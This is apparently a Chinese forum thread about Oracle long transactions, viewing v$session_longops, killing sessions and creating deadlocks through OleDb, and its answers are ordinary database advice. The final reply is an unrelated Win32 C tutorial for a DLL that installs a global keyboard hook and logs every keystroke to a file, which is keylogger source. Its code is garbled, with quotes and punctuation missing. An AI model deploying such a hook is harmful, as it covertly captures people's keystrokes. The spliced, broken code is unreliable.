1、长事务SQL> create table t_test as select * from all_objects;
 
Table created.
 
SQL> analyze table t_test compute statistics;
 
Table analyzed.
 
SQL> select count(*) from t_test a, t_test b;---过6秒中后,应该是长事务了。此时上句执行还未结束。开另一个会话
select * from v$session_longops where sofar < totalwork;
 
no rows selected问题一、怎么会这样啊?应该可以查出来啊!问题二、 如何杀掉长事务(通过sql语句)。
2、死锁有什么好的死锁例子吗?(我用的是OleDb,希望用sql语句实现死锁)问题三、怎样杀掉死锁。

解决方案 »

  1.   

    这不是死锁,还在parse,你这是笛卡尔了.select event from v$session_wait;
      

  2.   


    问题一、怎么会这样啊?应该可以查出来啊! 
    这里不是死锁,是sql还在执行,还没有执行出结果而已问题二、 如何杀掉长事务(通过sql语句)。 
    SQL>alter system kill session 'sid,serial#'
    或者用系统级别的kill以及orakill问题三、怎样杀掉死锁。 
    更加v$locked_object和v$lock表,查到session,用方法二杀掉session就可以叻。有什么好的死锁例子吗
    比如有两个事务
    A事务 先更新A1对象 再更新A2对象
    B事务 和A事务相反,先更新A2对象,再更新A1对象现在两个事务都启动了,
    当A执行到了A1,还没有开始执行A2.
    B事务也开始了,而且B事务已经执行了A2更新了,开始执行A1了,这时候,死锁也就发生了,A等待B的提交,反过来B有等待A的提交。
      

  3.   

    感谢大家支持!问题一、怎么会这样啊?应该可以查出来啊! 
    这里不是死锁,是sql还在执行,还没有执行出结果而已 
    ----我没说这是死锁,我说它是一个长事务(在oracle中,运行时间超过6秒的事务就被视为长事务)。而长事务会在v$session_longops表中可以查到!(select count(*) from t_test a, t_test b; 这句执行时间肯定会超过六秒)问题三、怎样杀掉死锁。 
    更加v$locked_object和v$lock表,查到session,用方法二杀掉session就可以叻。 有什么好的死锁例子吗 
    比如有两个事务 
    A事务 先更新A1对象 再更新A2对象 
    B事务 和A事务相反,先更新A2对象,再更新A1对象 -----这个方法,我也知道。但是如果要想通过OleDb(我的程序中用这个),我update它会立即commit啊。所以不行。有没有更好的方法呢!
    谢谢大家!
      

  4.   


    问题一、怎么会这样啊?应该可以查出来啊! 
    这里不是死锁,是sql还在执行,还没有执行出结果而已 你是一个普通的query语句,默认情况不会产生事务,当然你可以指定一个事务,所以这里不是你说的长事务。
    对这个OleDb的具体操作不是很清楚,不过我想提供的这些方式当中应该有事务这样的概念的,你这里是不是olddb的默认是autocommit的,你设置一下你的oledb的autocommit的选择,改成false
      

  5.   


    关注下,你oledb里面,自己开启一个事务吧!不要用db的auto commit啊!
      

  6.   

    谢谢大家了!
    1、你oledb里面,自己开启一个事务吧!不要用db的auto commit啊! -----恩,谢谢!2、问题一、怎么会这样啊?应该可以查出来啊! 
    这里不是死锁,是sql还在执行,还没有执行出结果而已 你是一个普通的query语句,默认情况不会产生事务,当然你可以指定一个事务,所以这里不是你说的长事务。请问inthirties, 就这句话:select count(*) from t_test a, t_test b ,如何指定成一个事务。谢谢!
      

  7.   

    这里要事务的作用是什么? oracle已经实现了避免脏读了。
      

  8.   

    请问inthirties, 就这句话:select count(*) from t_test a, t_test b ,如何指定成一个事务。 可以用如下方法制定一个事务:begin
            <<inner1>>
             select count(*) from t_test a, t_test b  where a.aid=b.aid;
     end inner1;   
      

  9.   


    我想再现一个长事务,然后把它kill掉。(用于性能测试)
      

  10.   

    谢谢!不过有点问题啊!
    SQL> begin
      2          <<inner1>>
      3           select count(*) from t_test a, t_test b  where a.aid=b.aid;
      4   end inner1;
      5  
      6  /begin
            <<inner1>>
             select count(*) from t_test a, t_test b  where a.aid=b.aid;
     end inner1;ORA-06550: ? 3 ?, ? 63 ?: 
    PL/SQL: ORA-00904: "B"."AID": ?????
    ORA-06550: ? 3 ?, ? 10 ?: 
    PL/SQL: SQL Statement ignored
    06550, 00000, "line %s, column %s:\n%s"
    // *Cause:  Usually a PL/SQL compilation error.
    // *Action:
      

  11.   

    在ORACLE中,查询是不加锁的,所以,如果仅仅是查询的话,不管事务执行时间有多长,是不可能出现死锁的情况的。再看一下你的数据量:一般情况下,一个新的数据库(不包含用户数据),视图all_objects中至少有50000条记录,你将这个表与它自己作cross join,数据量就会是:2500000000.要统计这么大的数据量,在6秒钟之内,是很难给出结果的(除非你的服务器硬件配置比较高,有足够内存,有较强的I/O能力),在这个SQL语句执行的时候,要进行大量的I/O操作。所以,你虽然在操作界面上没有看到任何输出,但在ORACLE服务器上却进行着一个非常耗资源的操作。
      

  12.   

    如果 是plsql的话,在command模式窗口下,执行如下sql:declare
    begin
            <<inner1>>
             select count(*) from t_test a, t_test b  where a.aid=b.aid;
     end inner1;   
      

  13.   

    写成如下吧:在plsql里面的command模式窗口下执行
    declare
        v_c number;
    begin
      begin
              <<inner1>>
               select count(*) into v_c from t_customer t, t_customer_tel;
       end inner1;   
       dbms_output.put_line(v_c);
    end;

     
      

  14.   

    SELECT 
    'alter system kill session ' ||''''||l.SESSION_ID||','||s.SERIAL#|| ''';' 
    FROM V$LOCKED_OBJECT l,V$SESSION s WHERE l.SESSION_ID=s.SID ;
      

  15.   

    V 建立一个动态连接库(DLL)当我们熟悉了以上的各个函数后,现在我们开始编写一个动态连接库(DLL)。在这儿我采用的是WIN32 DLL,而不是MFC DLL。而且以下所有的程序也都是采用
    C语言去编写。这主要是因为使用WIN32 API能够更详细、更全面的控制程序的如何执行,而使用MFC,一些低级的控制是不可能实现的(当然,仅对该程序来说,也是可
    以使用MFC的)。1:建立一个动态连接库的.cpp文件。比如我们现在建立一个名为hookdll.cpp的文件。在hookdll.cpp的文件中加上如下内容:
    #include windows.h
    #include string.h
    #include stdio.h HINSTANCE hInst;#pragma data_seg(hookdata)
    HHOOK oldkeyhook=0;
    #pragma data_seg()#pragma comment(linker,SECTIONhookdata,RWS)#define DllExport extern C__declspec(dllexport)DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam 
    );
    DllExport void InstallHook(int nCode);
    DllExport void EndHook(void);BOOL WINAPI DllMain(HINSTANCE hInstance,ULONG What,LPVOID NotUsed)
    {
    switch(What)
    {
    case DLL_PROCESS_ATTACH
    hInst = hInstance;
    break;
    case DLL_PROCESS_DETACH
    break;
    case DLL_THREAD_ATTACH
    break;
    case DLL_THREAD_DETACH
    break; }
    return 1;
    }void InstallHook(int nCode)
    {
    oldkeyhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyBoardProc,hInst,0);
    }DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam )
    {
    WPARAM j;
    FILE fp;
    if(lParam&0x80000000)
    {
    j = wParam;
    fp=fopen(chookkey.txt,a); 
    fprintf(fp,%4d,j);
    fclose(fp);
    }
    return CallNextHookEx(oldkeyhook,nCode,wParam,lParam);
    }
    void EndHook(void)
    {
    UnhookWindowsHookEx(oldkeyhook);
    }